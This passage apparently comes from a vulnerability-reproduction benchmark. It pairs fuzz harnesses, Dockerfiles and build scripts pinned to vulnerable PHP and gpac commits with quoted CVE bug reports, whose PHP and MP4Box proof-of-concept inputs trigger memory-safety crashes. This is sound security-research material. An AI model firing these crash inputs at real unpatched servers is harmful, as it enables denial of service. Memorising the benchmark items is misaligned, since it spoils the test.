"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n",
"filename": "huffman_decode_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n",
"filename": "rotate_fuzzer.cc"
}
] |
[] |
php.cve-2016-7418
|
php/php-src
|
f5a9592ad8d2b60cabbaff00662477528ecefb48
| 2016-09-12T23:04:23
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout f5a9592ad8d2b60cabbaff00662477528ecefb48
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=73065
## Description:
PHP Bug ID: 73065
Summary: Out-Of-Bounds Read in php_wddx_push_element of wddx.c
Status: Closed
PHP Version: 5.6.25
Assigned: stas (profile)
CVE-ID: 2016-7418
Description:
Description:
------------
CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.
PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep 11 2016 18:37:49) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.
STACKTRACE
-----------------------
Posted in the "Actual result" section.
VULNERABILITY DETAILS
-----------------------
A DoS (null pointer dereference) vulnerability can be triggered in function wddx_deserialize.
To reproduce this issue, please run export USE_ZEND_ALLOC=0 before executing the test script.
Test script:
---------------
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<var Name="name">
<boolean value="keliu"></boolean>
</var>
<var name="1111">
<var name="2222">
<var name="3333"></var>
</var>
</var>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
Expected result:
----------------
Exit quietly.
Actual result:
--------------
==47769==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
(pc 0x00000046fb9c bp 0x7ffc278e29b0 sp 0x7ffc278e2130 T0)
#0 0x46fb9b in __interceptor_strcmp.part.24 (php-src/sapi/cli/php+0x46fb9b)
#1 0xac41d4 in php_wddx_push_element php-src/ext/wddx/wddx.c:791:9
#2 0x7fa8715ac67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
#3 0x7fa8715ad38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
#4 0x7fa8715aecad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
#5 0x7fa8715af404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
#6 0x7fa8715b170a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
#7 0xac1717 in php_wddx_deserialize_ex php-src/ext/wddx/wddx.c:1081:2
#8 0xabad7a in zif_wddx_deserialize php-src/ext/wddx/wddx.c:1299:2
#9 0xfdfb3d in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER php-src/Zend/zend_vm_execute.h:675:2
#10 0xe75f4b in execute_ex php-src/Zend/zend_vm_execute.h:432:7
#11 0xe76ec3 in zend_execute php-src/Zend/zend_vm_execute.h:474:2
#12 0xd00e9e in zend_execute_scripts php-src/Zend/zend.c:1464:4
#13 0xad4425 in php_execute_script php-src/main/main.c:2537:14
#14 0x10fca26 in do_cli php-src/sapi/cli/php_cli.c:990:5
#15 0x10f9f60 in main php-src/sapi/cli/php_cli.c:1378:18
#16 0x7fa86fec582f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#17 0x449578 in _start (php-src/sapi/cli/php+0x449578)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-src/sapi/cli/php+0x46fb9b) in __interceptor_strcmp.part.24
==47769==ABORTING
Comments:
[Comment 1] [2016-09-12 03:57 UTC] [email protected]
Was not able to reproduce in previous versions, master is not a released version.
[Comment 2] [2016-09-12 04:51 UTC] stackexploit at gmail dot com
Hello, I can reproduce it with PHP 7.0.10. It's the current stable version according to http://php.net/downloads.php .
worker@ubuntu:~/Desktop/repo/php-7.0.10$ ./sapi/cli/php wddx_null.php
ASAN:DEADLYSIGNAL
=================================================================
==33608==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
(pc 0x00000046ef7c bp 0x7ffcfff765b0 sp 0x7ffcfff75d30 T0)
#0 0x46ef7b in __interceptor_strcmp.part.24 (php-7.0.10/sapi/cli/php+0x46ef7b)
#1 0xaacea4 in php_wddx_push_element php-7.0.10/ext/wddx/wddx.c:791:9
#2 0x7f866498d67f in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x867f)
#3 0x7f866498e38b in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0x938b)
#4 0x7f866498fcad in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xacad)
#5 0x7f8664990404 in _init (/lib/x86_64-linux-gnu/libexpat.so.1+0xb404)
#6 0x7f866499270a in XML_ParseBuffer (/lib/x86_64-linux-gnu/libexpat.so.1+0xd70a)
#7 0xaaa3e7 in php_wddx_deserialize_ex php-7.0.10/ext/wddx/wddx.c:1086:2
#8 0xaa3a1a in zif_wddx_deserialize php-7.0.10/ext/wddx/wddx.c:1304:2
#9 0xf9aab9 in ZEND_DO_ICALL_SPEC_HANDLER php-7.0.10/Zend/zend_vm_execute.h:586:2
#10 0xe45c3b in execute_ex php-7.0.10/Zend/zend_vm_execute.h:417:7
#11 0xe4691b in zend_execute php-7.0.10/Zend/zend_vm_execute.h:458:2
#12 0xcdd86e in zend_execute_scripts php-7.0.10/Zend/zend.c:1427:4
#13 0xabcf35 in php_execute_script php-7.0.10/main/main.c:2494:14
#14 0x1045d46 in do_cli php-7.0.10/sapi/cli/php_cli.c:974:5
#15 0x1043270 in main php-7.0.10/sapi/cli/php_cli.c:1344:18
#16 0x7f86632a682f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#17 0x448958 in _start (php-7.0.10/sapi/cli/php+0x448958)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (php-7.0.10/sapi/cli/php+0x46ef7b) in __interceptor_strcmp.part.24
==33608==ABORTING
Links: http://php.net/downloads.php
[Comment 3] [2016-09-12 05:22 UTC] [email protected]
The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:
if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
The problem is that the loop just above it is:
if (atts) for (i = 0; atts[i]; i++) {
so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.
[Comment 4] [2016-09-12 05:27 UTC] [email protected]
I also manually run through the code with the debugger and was not able to reproduce any problem, or see any null value in php_wddx_push_element. I suspect it's either a bug in AddressSanitizer or something is very wrong with your build.
[Comment 5] [2016-09-12 06:15 UTC] stackexploit at gmail dot com
Hi, I debugged this issue and confirmed it exits. The information given by AddressSanitizer is wired. In fact it's not a NULL pointer dereference issue but an invalid pointer reference issue.
(gdb) r /path/to/poc/wddx_null.php
Starting program: /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php /path/to/poc/wddx_null.php
Breakpoint 1, php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:791
791 if (atts) for (i = 0; atts[i]; i++) {
(gdb) n
792 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$12 = 0
(gdb) p atts[i]
$13 = (const XML_Char *) 0xcf8699 "Name"
--------------------------------------------------------------------------------------
i = 0
atts[i] = "Name" (0xcf8699)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) != 0 and the remained conditions will not be checked.
--------------------------------------------------------------------------------------
(gdb) n
791 if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$15 = 0
(gdb) n
792 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$16 = 1
(gdb) p atts[i]
$17 = (const XML_Char *) 0xcf783c "name"
--------------------------------------------------------------------------------------
i = 1
atts[i] = "name" (0xcf783c)
EL_NAME = "name"
Here strcmp((char *)atts[i], EL_NAME) == 0 and the remained conditions will be checked.
So executing atts[++i].
Here i equals 2 now.
(gdb) x/20xw atts
0xcf6e30: 0x00cf8699 0x00000000 0x00cf783c 0x00000000
0xcf6e40: 0x00000000 0x00000000 0x61507801 0x74656b63
0xcf6e50: 0x580a0d3e 0x0d3b4c4d 0x2020200a 0x200a0d20
0xcf6e60: 0x24202020 0x61727261 0x203d2079 0x78646477
0xcf6e70: 0x7365645f 0x61697265 0x657a696c 0x6d782428
However atts[2] == 0, so the remained condition will not be checked.
--------------------------------------------------------------------------------------
(gdb) n
791 if (atts) for (i = 0; atts[i]; i++) {
(gdb) p i
$18 = 2
(gdb) n
792 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
(gdb) p i
$19 = 3
(gdb) p atts[i]
$21 = (const XML_Char *) 0x74656b6361507801 <error: Cannot access memory at address 0x74656b6361507801>
(gdb) x/40xw atts
(gdb) x/20xw atts
0xcf6e30: 0x00cf8699 0x00000000 0x00cf783c 0x00000000
0xcf6e40: 0x00000000 0x00000000 [0x61507801 0x74656b63] --> atts[3]
0xcf6e50: 0x580a0d3e 0x0d3b4c4d 0x2020200a 0x200a0d20
0xcf6e60: 0x24202020 0x61727261 0x203d2079 0x78646477
0xcf6e70: 0x7365645f 0x61697265 0x657a696c 0x6d782428
--------------------------------------------------------------------------------------
When executing the for-loop, firstly executing i++, then i equals 3.
Now atts[i] is not NULL! Only atts[2] is NULL but it's not checked in the for-loop.
Please notice that atts[2] was checked in the if statement!
Now atts[3] points to 0x74656b6361507801. When calling the strcmp function, the process
will receive signal SIGSEGV because the address cannot be read.
--------------------------------------------------------------------------------------
(gdb) n
Program received signal SIGSEGV, Segmentation fault.
__strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
31 ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S: No such file or directory.
(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1
(gdb) i r $rdi
rdi 0x74656b6361507801 8387227955626014721
(gdb) x/20xb $rdi
0x74656b6361507801: Cannot access memory at address 0x74656b6361507801
(gdb) bt
#0 __strcmp_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcmp-sse2-unaligned.S:31
#1 0x000000000060ee81 in php_wddx_push_element (user_data=0x7fffffffa160, name=0xcf9080 "var", atts=0xcf6e30)
at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:792
#2 0x00007ffff7bb6680 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#3 0x00007ffff7bb738c in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#4 0x00007ffff7bb8cae in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#5 0x00007ffff7bb9405 in ?? () from /lib/x86_64-linux-gnu/libexpat.so.1
#6 0x00007ffff7bbb70b in XML_ParseBuffer () from /lib/x86_64-linux-gnu/libexpat.so.1
#7 0x0000000000610c05 in php_wddx_deserialize_ex (
value=0x7ffff4282018 "<?xml version='1.0' ?>\r\n <!DOCTYPE et SYSTEM 'w'>\r\n <wddxPacket ven='1.0'>\r\n <array>\r\n", ' ' <repeats 12 times>, "<var Name=\"name\">\r\n", ' ' <repeats 16 times>, "<boolean value=\"keliu\"></boolean>\r\n", ' ' <repeats 12 times>, "</var>\r"...,
vallen=391, return_value=0x7ffff42140c0) at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1087
#8 0x00000000006119f5 in zif_wddx_deserialize (execute_data=0x7ffff42140f0, return_value=0x7ffff42140c0)
at /home/worker/Desktop/repo/php-7.0.10/ext/wddx/wddx.c:1305
#9 0x000000000074fb3b in ZEND_DO_ICALL_SPEC_HANDLER () at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:586
#10 0x000000000074e3b8 in execute_ex (ex=0x7ffff4214030) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:414
#11 0x000000000074ecab in zend_execute (op_array=0x7ffff4283000, return_value=0x0) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend_vm_execute.h:458
#12 0x00000000006be044 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/worker/Desktop/repo/php-7.0.10/Zend/zend.c:1427
#13 0x0000000000616881 in php_execute_script (primary_file=0x7fffffffcb50) at /home/worker/Desktop/repo/php-7.0.10/main/main.c:2494
#14 0x000000000082a37c in do_cli (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:974
#15 0x000000000082b625 in main (argc=2, argv=0xc481a0) at /home/worker/Desktop/repo/php-7.0.10/sapi/cli/php_cli.c:1344
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
[Comment 6] [2016-09-12 06:21 UTC] stackexploit at gmail dot com
> [2016-09-12 05:22 UTC] [email protected]
> The backtrace looks kind of strange too. It says the problem is in line 791 of wddx.c, which is:
> if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
> The problem is that the loop just above it is:
> if (atts) for (i = 0; atts[i]; i++) {
> so if strcmp argument is 0, how did it enter the loop body? Something is wrong here.
Here is my answer.
790 if (atts) for (i = 0; atts[i]; i++) {
791 if (!strcmp((char *)atts[i], EL_NAME) && atts[++i] && atts[i][0]) {
792 if (stack->varname) efree(stack->varname);
793 stack->varname = estrdup((char *)atts[i]);
794 break;
795 }
796 }
atts[0] = 0x0000000000cf8699 "Name"
atts[1] = 0x0000000000cf783c "name" EL_NAME
atts[2] = 0x0000000000000000 NULL
atts[3] = 0x74656b6361507801 ????
atts[2] was not checked in the for-loop but in the if statement. So strcmp(atts[3], EL_NAME) would cause an Out-Of-Bounds read issue.
[Comment 7] [2016-09-12 06:27 UTC] stackexploit at gmail dot com
OS: Ubuntu 16.04 LTS 64-bit.
(gdb) x/i $rip
=> 0x7ffff6da1b5a <__strcmp_sse2_unaligned+26>: movdqu (%rdi),%xmm1
(gdb) i r $rdi
rdi 0x74656b6361507801 8387227955626014721
>>> '74656b6361507801'.decode('hex')[::-1]
'\x01xPacket'
[Comment 8] [2016-09-12 06:44 UTC] stackexploit at gmail dot com
There are other four similar issues in function php_wddx_push_element.
------------
1. Line 740
------------
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<char Name="code">
<boolean value="keliu"></boolean>
</char>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
------------
2. Line 758
------------
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<boolean Name="value">
<boolean value="keliu"></boolean>
</boolean>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
------------
3. Line 804
------------
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<recordset Name="fieldNames">
<boolean value="keliu"></boolean>
</recordset>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
------------
4. Line 838
------------
<?php
$xml = <<<XML
<?xml version='1.0' ?>
<!DOCTYPE et SYSTEM 'w'>
<wddxPacket ven='1.0'>
<array>
<field Name="name">
<boolean value="keliu"></boolean>
</field>
</array>
</wddxPacket>
XML;
$array = wddx_deserialize($xml);
var_dump($array);
?>
[Comment 9] [2016-09-12 07:21 UTC] [email protected]
OK, I see now what's going on here. AddressSanitizer message was misleading and my version of xmllib passes it with bunch of zeroes. Now I understand the issues, thanks.
[Comment 10] [2016-09-12 07:35 UTC] [email protected]
The fix is in security repo as bbaf784f8d213e201baf67e861f20b38c6e87d3b and in https://gist.github.com/f0583c14f573737da81be2f6cef3b0fc
Links: https://gist.github.com/f0583c14f573737da81be2f6cef3b0fc
[Comment 11] [2016-09-12 07:36 UTC] [email protected]
please verify
[Comment 12] [2016-09-12 08:42 UTC] stackexploit at gmail dot com
I've verified that the patch works fine. Thanks.
Commit References:
bbaf784f8d213e201baf67e861f20b38c6e87d3b
|
[] |
[
{
"sha": "c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29",
"url": "https://github.com/php/php-src/commit/c4cca4c20e75359c9a13a1f9a36cb7b4e9601d29"
},
{
"sha": "bbaf784f8d213e201baf67e861f20b38c6e87d3b",
"url": "https://github.com/php/php-src/commit/bbaf784f8d213e201baf67e861f20b38c6e87d3b"
}
] |
gpac.cve-2023-46927
|
gpac/gpac
|
c1d962c0550aaa8fc3600ffe3aaaa5fc8bbad98b
| 2023-10-23T07:09:06
|
gpac
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y build-essential pkg-config libz-dev
RUN git clone https://github.com/gpac/gpac gpac
RUN git -C gpac checkout c1d962c0550aaa8fc3600ffe3aaaa5fc8bbad98b
WORKDIR $SRC/gpac
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --static-build --extra-cflags="${CFLAGS}" --extra-ldflags="${CFLAGS}"
make -j$(nproc)
|
/src/gpac
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/gpac/gpac/issues/2657
## Description:
Issue: gpac/gpac#2657
Title: heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/gpac
State: closed
Created by: Frank-Z7
Created at: 2023-10-22 20:14:14+00:00
Issue Body:
# heap-buffer-overflow in gf_isom_use_compact_size gpac/src/isomedia/isom_write.c:3403:3 in gpac/gpac
### Description
Heap-buffer-overflow in MP4Box.
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -add self:moovts=-1:noedit:stz2:profile=high:level=7 poc1gpac
```shell
=================================================================
==3459603==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006b71 at pc 0x0000004a2c4f bp 0x7ffffffec1a0 sp 0x7ffffffeb968
WRITE of size 4 at 0x602000006b71 thread T0
#0 0x4a2c4e in __asan_memset (/afltest/gpac/bin/gcc/MP4Box+0x4a2c4e)
#1 0x7ffff665aacc in gf_isom_use_compact_size /afltest/gpac/src/isomedia/isom_write.c:3403:3
#2 0x54e099 in import_file /afltest/gpac/applications/mp4box/fileimport.c:1707:8
#3 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#4 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#5 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
0x602000006b71 is located 0 bytes to the right of 1-byte region [0x602000006b70,0x602000006b71)
allocated by thread T0 here:
#0 0x4a34ed in malloc (/afltest/gpac/bin/gcc/MP4Box+0x4a34ed)
#1 0x7ffff665aa7d in gf_isom_use_compact_size /afltest/gpac/src/isomedia/isom_write.c:3401:24
SUMMARY: AddressSanitizer: heap-buffer-overflow (/afltest/gpac/bin/gcc/MP4Box+0x4a2c4e) in __asan_memset
Shadow bytes around the buggy address:
0x0c047fff8d10: fa fa 00 04 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8d20: fa fa fd fd fa fa fd fd fa fa 00 00 fa fa 00 05
0x0c047fff8d30: fa fa 00 fa fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8d40: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 00
0x0c047fff8d50: fa fa 00 00 fa fa fd fd fa fa fd fa fa fa fd fd
=>0x0c047fff8d60: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[01]fa
0x0c047fff8d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==3459603==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -add self:moovts=-1:noedit:stz2:profile=high:level=7 poc1gpac
```
### PoC
poc1gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc1gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan
|
[] |
[
{
"sha": "a7b467b151d9b54badbc4dd71e7a366b7c391817",
"url": "https://github.com/1480c1/gpac/commit/a7b467b151d9b54badbc4dd71e7a366b7c391817"
}
] |
php.cve-2019-9025
|
php/php-src
|
12583615da266b59f3cd28e9f81d6898645e30f8
| 2019-01-08T07:16:55
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 12583615da266b59f3cd28e9f81d6898645e30f8
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=77367
## Description:
PHP Bug ID: 77367
Summary: Negative size parameter in mb_split
Status: Closed
PHP Version: 7.3.0
Assigned: stas (profile)
CVE-ID: 2019-9025
Description:
Description:
------------
mb_split doesn't correctly detect the length when the $string has an unfinished multibyte character at the end of the string. This causes a crash due to a negative parameter to add_next_index_stringl, which calls zend_string_init and memcpy.
This could be used to cause memory corruption/leakage.
configure options are:
./configure --enable-static --enable-cli --enable-mbstring --disable-shared --disable-all CFLAGS="-fPIC -Og -g3" LIBS=-ldl
Could reproduce on master. Couldn't reproduce on 5.6.39, 7.0.33, 7.1.25 and 7.2.13, though the same code exists (a different fuzz may produce the same).
Caused by comparison of unsigned number (size_t) to 0 to test whether it is positive. Fixed by altering the comparison to not test for negative, but instead check whether value to subtract is less than.
Patch at https://gist.github.com/hughdavenport/5128662f237d8b54d2e2b22dc7d18d5e
Interestingly, it doesn't crash with "[[:word:]]", but does with "\w", so the docs at https://secure.php.net/manual/en/regexp.reference.character-classes.php may be slightly incorrect.
Test script:
---------------
php -r 'var_dump(mb_split("\w","\xfc"));'
Expected result:
----------------
No crash
Actual result:
--------------
$ gdb --args ./php-7.3.0/sapi/cli/php-mbstring-afl-fast -r 'var_dump(mb_split("\w","\xfc"));'
GNU gdb (Ubuntu 8.1-0ubuntu3) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./php-7.3.0/sapi/cli/php-mbstring-afl-fast...done.
(gdb) r
Starting program: /home/hugh/php-7.3.0/sapi/cli/php-mbstring-afl-fast -r var_dump\(mb_split\(\"\\w\",\"\\xfc\"\)\)\;
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
__memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:526
526 ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
(gdb) bt
#0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:526
#1 0x0000000000a72a5a in zend_string_init (str=0x122821e "", len=18446744073709551611, persistent=0) at Zend/zend_string.h:157
#2 add_next_index_stringl (arg=0x7ffff661c080, str=0x122821e "", length=18446744073709551611) at Zend/zend_API.c:1595
#3 0x000000000072bf72 in zif_mb_split (execute_data=<optimized out>, return_value=<optimized out>) at ext/mbstring/php_mbregex.c:1303
#4 0x0000000000c4d418 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER (execute_data=0x7ffff661c030) at Zend/zend_vm_execute.h:690
#5 0x0000000000b3e39e in execute_ex (ex=0x7ffff661c030) at Zend/zend_vm_execute.h:55287
#6 0x0000000000b3e8db in zend_execute (op_array=0x7ffff667d2a0, return_value=<optimized out>) at Zend/zend_vm_execute.h:60834
#7 0x0000000000a36222 in zend_eval_stringl (str=<optimized out>, str_len=<optimized out>, retval_ptr=<optimized out>, string_name=<optimized out>) at Zend/zend_execute_API.c:1018
#8 0x0000000000a365fb in zend_eval_stringl_ex (str=0x121ae20 "var_dump(mb_split(\"\\w\",\"\\xfc\"));", str_len=140737327259816, retval_ptr=0x0, string_name=0xf0c436 "Command line code",
handle_exceptions=1) at Zend/zend_execute_API.c:1059
#9 zend_eval_string_ex (str=0x121ae20 "var_dump(mb_split(\"\\w\",\"\\xfc\"));", retval_ptr=0xfffffffffffa1ef8, string_name=0x11ca0f6 <stage3_table_html5_1D500+774> "", handle_exceptions=1)
at Zend/zend_execute_API.c:1070
#10 0x0000000000ce5c66 in do_cli (argc=<optimized out>, argv=<optimized out>) at sapi/cli/php_cli.c:1030
#11 0x0000000000ce407b in main (argc=3, argv=<optimized out>) at sapi/cli/php_cli.c:1392
$ ./php-7.3.0/sapi/cli/php-mbstring-asan-fast -r 'var_dump(mb_split("\w","\xfc"));'
=================================================================
==9942==ERROR: AddressSanitizer: negative-size-param: (size=-5)
#0 0x4db2e5 in __asan_memcpy (/home/hugh/php-7.3.0/sapi/cli/php-mbstring-asan-fast+0x4db2e5)
#1 0x1083844 in zend_string_init /home/hugh/php-7.3.0/Zend/zend_string.h:157:2
#2 0x1083844 in add_next_index_stringl /home/hugh/php-7.3.0/Zend/zend_API.c:1595
